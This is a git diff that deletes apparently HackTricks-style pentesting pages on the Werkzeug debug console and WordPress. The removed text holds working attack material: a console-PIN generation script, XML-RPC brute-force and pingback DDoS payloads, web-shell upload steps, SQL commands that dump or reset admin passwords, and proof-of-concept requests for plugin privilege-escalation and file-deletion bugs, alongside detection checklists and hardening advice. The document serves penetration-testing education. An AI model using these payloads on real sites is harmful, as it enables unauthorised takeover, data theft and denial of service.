-    global _machine_id
-
-    if _machine_id is not None:
-        return _machine_id
-
-    def _generate() -> t.Optional[t.Union[str, bytes]]:
-        linux = b""
-
-        # machine-id is stable across boots, boot_id is not.
-        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
-            try:
-                with open(filename, "rb") as f:
-                    value = f.readline().strip()
-            except OSError:
-                continue
-
-            if value:
-                linux += value
-                break
-
-        # Containers share the same machine id, add some cgroup
-        # information. This is used outside containers too but should be
-        # relatively stable across boots.
-        try:
-            with open("/proc/self/cgroup", "rb") as f:
-                linux += f.readline().strip().rpartition(b"/")[2]
-        except OSError:
-            pass
-
-        if linux:
-            return linux
-
-        # On OS X, use ioreg to get the computer's serial number.
-        try:
-```
-
-</details>
-
-Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN:
-
-Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN. The script uses the assembled `probably_public_bits` and `private_bits` to create a hash, which then undergoes further processing to produce the final PIN. Below is the Python code for executing this process:
-
-```python
-import hashlib
-from itertools import chain
-probably_public_bits = [
-    'web3_user',  # username
-    'flask.app',  # modname
-    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
-    '/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
-]
-
-private_bits = [
-    '279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
-    'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
-]
-
-# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
-h = hashlib.sha1()
-for bit in chain(probably_public_bits, private_bits):
-    if not bit:
-        continue
-    if isinstance(bit, str):
-        bit = bit.encode('utf-8')
-    h.update(bit)
-h.update(b'cookiesalt')
-# h.update(b'shittysalt')
-
-cookie_name = '__wzd' + h.hexdigest()[:20]
-
-num = None
-if num is None:
-    h.update(b'pinsalt')
-    num = ('%09d' % int(h.hexdigest(), 16))[:9]
-
-rv = None
-if rv is None:
-    for group_size in 5, 4, 3:
-        if len(num) % group_size == 0:
-            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
-                          for x in range(0, len(num), group_size))
-            break
-    else:
-        rv = num
-
-print(rv)
-```
-
-This script produces the PIN by hashing the concatenated bits, adding specific salts (`cookiesalt` and `pinsalt`), and formatting the output. It's important to note that the actual values for `probably_public_bits` and `private_bits` need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console.
-
-> [!TIP]
-> If you are on an **old version** of Werkzeug, try changing the **hashing algorithm to md5** instead of sha1.
-
-## Werkzeug Unicode chars
-
-As observed in [**this issue**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug doesn't close a request with Unicode characters in headers. And as explained in [**this writeup**](https://mizu.re/post/twisty-python), this might cause a CL.0 Request Smuggling vulnerability.
-
-This is because, In Werkzeug it's possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
-
-## Automated Exploitation
-
-
-{{#ref}}
-https://github.com/Ruulian/wconsole_extractor
-{{#endref}}
-
-## References
-
-- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
-- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
-- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
-- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
deleted file mode 100644
index afb11468a75..00000000000
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ /dev/null
@@ -1,989 +0,0 @@
-# Wordpress
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic Information
-
-- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
-
-  - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
-
-- In **wp-config.php** you can find the root password of the database.
-- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
-
-### **Main WordPress Files**
-
-- `index.php`
-- `license.txt` contains useful information such as the version WordPress installed.
-- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
-- Login folders (may be renamed to hide it):
-  - `/wp-admin/login.php`
-  - `/wp-admin/wp-login.php`
-  - `/login.php`
-  - `/wp-login.php`
-- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
-- The `wp-content` folder is the main directory where plugins and themes are stored.
-- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
-- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
-- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
-
-**Post exploitation**
-
-- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
-
-### Users Permissions
-
-- **Administrator**
-- **Editor**: Publish and manages his and others posts
-- **Author**: Publish and manage his own posts
-- **Contributor**: Write and manage his posts but cannot publish them
-- **Subscriber**: Browser posts and edit their profile
-
-## **Passive Enumeration**
-
-### **Get WordPress version**
-
-Check if you can find the files `/license.txt` or `/readme.html`
-
-Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
-
-- grep
-
-```bash
-curl https://victim.com/ | grep 'content="WordPress'
-```
-
-- `meta name`
-
-![WordPress HTML meta generator tag revealing the site version](<../../images/image (1111).png>)
-
-- CSS link files
-
-![Passive Enumeration - Get WordPress version](<../../images/image (533).png>)
-
-- JavaScript files
-
-![WordPress page source showing wp-content plugin paths in JavaScript links](<../../images/image (524).png>)
-
-### Get Plugins
-
-```bash
-curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
-```
-
-### Get Themes
-
-```bash
-curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
-```
-
-### Extract versions in general
-
-```bash
-curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
-
-```
-
-## Active enumeration
-
-### Plugins and Themes
-
-You probably won't be able to find all the Plugins and Themes passible. In order to discover all of them, you will need to **actively Brute Force a list of Plugins and Themes** (hopefully for us there are automated tools that contains this lists).
-
-### Users
-
-- **ID Brute:** You get valid users from a WordPress site by Brute Forcing users IDs:
-
-```bash
-curl -s -I -X GET http://blog.example.com/?author=1
-```
-
-If the responses are **200** or **30X**, that means that the id is **valid**. If the the response is **400**, then the id is **invalid**.
-
-- **wp-json:** You can also try to get information about the users by querying:
-
-```bash
-curl http://blog.example.com/wp-json/wp/v2/users
-```
-
-Another `/wp-json/` endpoint that can reveal some information about users is:
-
-```bash
-curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
-```
-
-Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**.
-
-Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
-
-- **Login username enumeration**: When login in **`/wp-login.php`** the **message** is **different** is the indicated **username exists or not**.
-
-### XML-RPC
-
-If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
-
-To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
-
-**Check**
-
-```html
-<methodCall>
-<methodName>system.listMethods</methodName>
-<params></params>
-</methodCall>
-```
-
-![Users - XML-RPC: system.listMethods](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
-
-**Credentials Bruteforce**
-
-**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:
-
-```html
-<methodCall>
-<methodName>wp.getUsersBlogs</methodName>
-<params>
-<param><value>admin</value></param>
-<param><value>pass</value></param>
-</params>
-</methodCall>
-```
-
-The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
-
-![Users - XML-RPC: The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
-
-![Users - XML-RPC: The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid](<../../images/image (721).png>)
-
-Using the correct credentials you can upload a file. In the response the path will appears ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
-
-```html
-<?xml version='1.0' encoding='utf-8'?>
-<methodCall>
-	<methodName>wp.uploadFile</methodName>
-	<params>
-		<param><value><string>1</string></value></param>
-		<param><value><string>username</string></value></param>
-		<param><value><string>password</string></value></param>
-		<param>
-			<value>
-				<struct>
-					<member>
-						<name>name</name>
-						<value><string>filename.jpg</string></value>
-					</member>
-					<member>
-						<name>type</name>
-						<value><string>mime/type</string></value>
-					</member>
-					<member>
-						<name>bits</name>
-						<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
-					</member>
-				</struct>
-			</value>
-		</param>
-	</params>
-</methodCall>
-```
-
-Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
-
-<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
-
-**Bypass 2FA**
-
-This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
-
-**DDoS or port scanning**
-
-If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
-This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
-
-```html
-<methodCall>
-<methodName>pingback.ping</methodName>
-<params><param>
-<value><string>http://<YOUR SERVER >:<port></string></value>
-</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
-</value></param></params>
-</methodCall>
-```
-
-![Users - XML-RPC: If you get faultCode with a value greater then 0 (17), it means the port is open](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
-
-If you get **faultCode** with a value **greater** then **0** (17), it means the port is open.
-
-Take a look to the use of **`system.multicall`** in the previous section to learn how to abuse this method to cause DDoS.
-
-**DDoS**
-
-```html
-<methodCall>
-    <methodName>pingback.ping</methodName>
-    <params>
-        <param><value><string>http://target/</string></value></param>
-        <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
-    </params>
-</methodCall>
-```
-
-![WordPress XML-RPC pingback request with target and source blog post URLs](<../../images/image (110).png>)
-
-### wp-cron.php DoS
-
-This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
-When this file is **accessed** a "**heavy**" MySQL **query** is performed, so I could be used by **attackers** to **cause** a **DoS**.\
-Also, by default, the `wp-cron.php` is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).
-
-It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
-
-### /wp-json/oembed/1.0/proxy - SSRF
-
-Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
-
-This is the response when it doesn't work:
-
-![wp-cron.php DoS - /wp-json/oembed/1.0/proxy - SSRF: This is the response when it doesn't work](<../../images/image (365).png>)
-
-## SSRF
-
-
-{{#ref}}
-https://github.com/t0gu/quickpress/blob/master/core/requests.go
-{{#endref}}
-
-This tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them.
-
-## Automatic Tools
-
-```bash
-cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
-wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
-#You can try to bruteforce the admin user using wpscan with "-U admin"
-```
-
-## Get access by overwriting a bit
-
-More than a real attack this is a curiosity. IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) you could flip 1 bit from any wordpress file. So you could flip the position `5389` of the file `/var/www/html/wp-includes/user.php` to NOP the NOT (`!`) operation.
-
-```php
-    if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
-            return new WP_Error(
-```
-
-## **Panel RCE**
-
-**Modifying a php from the theme used (admin credentials needed)**
-
-Appearance → Theme Editor → 404 Template (at the right)
-
-Change the content for a php shell:
-
-![Get access by overwriting a bit - Panel RCE: Change the content for a php shell](<../../images/image (384).png>)
-
-Search in internet how can you access that updated page. In this case you have to access here: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
-
-### MSF
-
-You can use:
-
-```bash
-use exploit/unix/webapp/wp_admin_shell_upload
-```
-
-to get a session.
-
-## Plugin RCE
-
-### PHP plugin
-
-It may be possible to upload .php files as a plugin.\
-Create your php backdoor using for example:
-
-![Plugin RCE - PHP plugin: Create your php backdoor using for example](<../../images/image (183).png>)
-
-Then add a new plugin:
-
-![Plugin RCE - PHP plugin: Then add a new plugin](<../../images/image (722).png>)
-
-Upload plugin and press Install Now:
-
-![Plugin RCE - PHP plugin: Upload plugin and press Install Now](<../../images/image (249).png>)
-
-Click on Procced:
-
-![Plugin RCE - PHP plugin: Upload plugin and press Install Now](<../../images/image (70).png>)
-
-Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
-
-![Plugin RCE - PHP plugin: Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded](<../../images/image (462).png>)
-
-Access it and you will see the URL to execute the reverse shell:
-
-![Plugin RCE - PHP plugin: Access it and you will see the URL to execute the reverse shell](<../../images/image (1006).png>)
-
-### Uploading and activating malicious plugin
-
-This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
-
-1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
-2. **Plugin Installation**:
-   - Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
-   - Upload the zip file of the downloaded plugin.
-3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
-4. **Exploitation**:
-   - With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
-   - The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
-   - It's noted that this is just one of the many methods to exploit a WordPress site.
-
-The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.
-
-**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
-
-## From XSS to RCE
-
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
-  - _**Privilege Escalation:**_ Creates an user in WordPress.
-  - _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
-  - _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
-  - _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
-  - _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
-
-## Post Exploitation
-
-Extract usernames and passwords:
-
-```bash
-mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
-```
-
-Change admin password:
-
-```bash
-mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
-```
-
-## Wordpress Plugins Pentest
-
-### Attack Surface
-
-Knowing how a Wordpress plugin can expose functionality is key in order to find vulnerabilities on its functionality. You can find how a plugin might expose functionality in the following bullet points and some example of vulnerable plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
-
-- **`wp_ajax`**
-
-One of the ways a plugin can expose functions to uses if via AJAX handlers. These ones could contain logic, authorization, or authentication bugs. Moreover, it's kind of frquelty that these functions are going to base both the authentication and authorization in the existence of a wordpress nonce which **any user authenticated in the Wordpress instance might have** (independently of its role).
-
-These are the functions that can be used to expose a function in a plugin:
-
-```php
-add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
-add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
-```
-
-**The use of `nopriv` makes the endpoint accessible by any users (even unathenticated ones).**
-
-> [!CAUTION]
-> Moreover, if the function is just checking the authorization of the user with the function `wp_verify_nonce`, this function is just checking the user is loggedin, it isn't usually checking the role of the user. So low privileged users might have access to high privileged actions.
-
-- **REST API**
-
-It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
-
-```php
-register_rest_route(
-    $this->namespace, '/get/', array(
-        'methods' => WP_REST_Server::READABLE,
-        'callback' => array($this, 'getData'),
-        'permission_callback' => '__return_true'
-    )
-);
-```
-
-The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
-
-**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
-
-- **Direct access to the php file**
-
-Of course, Wordpress uses PHP and files inside plugins are directly accessible from the web. So, in case a plugin is exposing any vulnerable functionality that is triggered just accessing the file, it's going to be exploitable by any user.
-
-### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
-
-Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
-
-- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
-- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
-- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
-
-PoC
-
-```http
-POST /wp-json/wp/v2/users HTTP/1.1
-Host: <WP HOST>
-User-Agent: Mozilla/5.0
-Accept: application/json
-Content-Type: application/json
-X-Wcpay-Platform-Checkout-User: 1
-Content-Length: 114
-
-{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
-```
-
-Why it works
-
-- The plugin maps a client-controlled header to authentication state and skips capability checks.
-- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
-
-Expected success indicators
-
-- HTTP 201 with a JSON body describing the created user.
-- A new admin user visible in `wp-admin/users.php`.
-
-Detection checklist
-
-- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
-- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
-- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
-
-### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
-
-WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks.  When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
-
-1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
-2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
-3. **Strict input sanitisation / validation**.
-
-The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
-
-```php
-function litho_remove_font_family_action_data() {
-    if ( empty( $_POST['fontfamily'] ) ) {
-        return;
-    }
-    $fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
-    $upload_dir = wp_upload_dir();
-    $srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
-    $filesystem = Litho_filesystem::init_filesystem();
-
-    if ( file_exists( $srcdir ) ) {
-        $filesystem->delete( $srcdir, FS_CHMOD_DIR );
-    }
-    die();
-}
-add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
-add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
-```
-
-Issues introduced by this snippet:
-
-* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
-* **No nonce / capability check** – any visitor can hit the endpoint.
-* **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
-
-#### Exploitation
-
-An attacker can delete any file or directory **below the uploads base directory** (normally `<wp-root>/wp-content/uploads/`) by sending a single HTTP POST request:
-
-```bash
-curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-     -d 'action=litho_remove_font_family_action_data' \
-     -d 'fontfamily=../../../../wp-config.php'
-```
-
-Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation.  Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
-
-Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
-
-#### Detection checklist
-
-* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
-* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
-* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
-
----
-
-### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
-
-Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
-
-A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
-
-```php
-// Simplified vulnerable pattern
-if ( isset( $_REQUEST['reset-for'] ) ) {
-    $reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
-    $usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
-
-    if ( in_array( $reset_for_username, $usernames, true ) ) {
-        $u = get_user_by( 'login', $reset_for_username );
-        foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
-        $orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
-        foreach ( $orig as $r ) { $u->add_role( $r ); }
-    }
-}
-```
-
-Why it’s exploitable
-
-- Trusts `$_REQUEST['reset-for']` and a plugin option without server-side authorization.
-- If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path.
-- In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization).
-
-Exploitation (example)
-
-```bash
-# While logged in as the downgraded user (or any auth user able to trigger the code path),
-# hit any route that executes the role-switcher logic and include the reset parameter.
-# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
-curl -s -k -b 'wordpress_logged_in=...' \
-  'https://victim.example/wp-admin/?reset-for=<your_username>'
-```
-
-On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
-
-Detection checklist
-
-- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`).
-- Identify reset/restore paths that:
-  - Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
-  - Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
-  - Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities.
-
----
-
-### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
-
-Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
-
-Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
-
-```php
-function service_finder_submit_user_form(){
-    if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
-        $user_id = intval( sanitize_text_field($_GET['switch_user']) );
-        service_finder_switch_user($user_id);
-    }
-    if ( isset($_GET['switch_back']) ) {
-        service_finder_switch_back();
-    }
-}
-add_action('init', 'service_finder_submit_user_form');
-
-function service_finder_switch_back() {
-    if ( isset($_COOKIE['original_user_id']) ) {
-        $uid = intval($_COOKIE['original_user_id']);
-        if ( get_userdata($uid) ) {
-            wp_set_current_user($uid);
-            wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
-            do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
-            setcookie('original_user_id', '', time() - 3600, '/');
-            wp_redirect( admin_url('admin.php?page=candidates') );
-            exit;
-        }
-        wp_die('Original user not found.');
-    }
-    wp_die('No original user found to switch back to.');
-}
-```
-
-Why it’s exploitable
-
-- Public `init` hook makes the handler reachable by unauthenticated users (no `is_user_logged_in()` guard).
-- Identity is derived from a client-modifiable cookie (`original_user_id`).
-- Direct call to `wp_set_auth_cookie($uid)` logs the requester in as that user without any capability/nonce checks.
-
-Exploitation (unauthenticated)
-
-```http
-GET /?switch_back=1 HTTP/1.1
-Host: victim.example
-Cookie: original_user_id=1
-User-Agent: PoC
-Connection: close
-```
-
----
-
-### WAF considerations for WordPress/plugin CVEs
-
-Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
-
-Offensive notes
-
-- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
-- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
-- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
-
-Defensive notes
-
-- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
-- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
-
-## WordPress Protection
-
-### Regular Updates
-
-Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
-
-```bash
-define( 'WP_AUTO_UPDATE_CORE', true );
-add_filter( 'auto_update_plugin', '__return_true' );
-add_filter( 'auto_update_theme', '__return_true' );
-```
-
-Also, **only install trustable WordPress plugins and themes**.
-
-### Security Plugins
-
-- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
-- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
-- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
-
-### **Other Recommendations**
-
-- Remove default **admin** user
-- Use **strong passwords** and **2FA**
-- Periodically **review** users **permissions**
-- **Limit login attempts** to prevent Brute Force attacks
-- Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses.
-
-
-### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
-
